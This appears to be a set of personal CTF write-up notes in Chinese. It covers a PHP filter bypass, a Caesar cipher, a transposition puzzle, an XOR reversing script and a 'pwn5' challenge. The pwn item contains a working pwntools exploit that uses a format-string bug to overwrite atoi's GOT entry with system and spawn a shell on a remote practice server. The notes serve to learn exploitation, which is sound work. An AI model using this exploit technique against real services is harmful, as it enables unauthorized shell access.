1
注释提示:要进flag.php
读代码:拼接zero和first两个变量
不能出现..和flag,\056\160\150\x70(匹配的应该是.php),substr()去掉了first的前5个字符一直做不对,再认真读:"\"转义符在"|"前面,就不是“或"的作用了,是匹配了字符串”|.php“
2
Caesar Cipher
凯撒密码(移位3)加密的密文:“khoor zruog”——“hello world”
3
pwn5
read()写了大小63(小于100),不存在栈溢出漏洞
printf()没写类型,利用格式化漏洞。尝试:
利用格式化字符串漏洞,篡改atoi的GOT表地址修改为system函数的地址
#pwntools里的fmtstr_payload函数:用来简化格式化字符串的构造
from pwn import *
#context.log_level = "DEBUG"
ifRemote = 1
if ifRemote:p = remote("node4.buuoj.cn",26480)
else:p = process("./pwn")elf = ELF('./pwn')
atoi_got = elf.got['atoi']
system_sym = elf.sym['system']print("atoi_got:",hex(atoi_got))
print("system_sym:",hex(system_sym))
payload=fmtstr_payload(10,{atoi_got:system_sym})
p.sendline(payload)
p.sendline(b'/bin/sh\x00')
p.interactive()
4
散乱的密码
lf5{ag024c483549d7fd@@1} 一张纸条上凌乱的写着2 1 6 5 3 4
顺着一行一行排在六个数字下面
按123456列重排
5
easyre
熟悉写简单的python
v8 = "ebmarah"
v9 = ":\"AL_RT^L*.?+6/46"
v7 = 7
flag = ""
for i in range(0,len(v9)):flag += chr(ord(v8[i%v7]) ^ ord(v9[i]))
print(flag)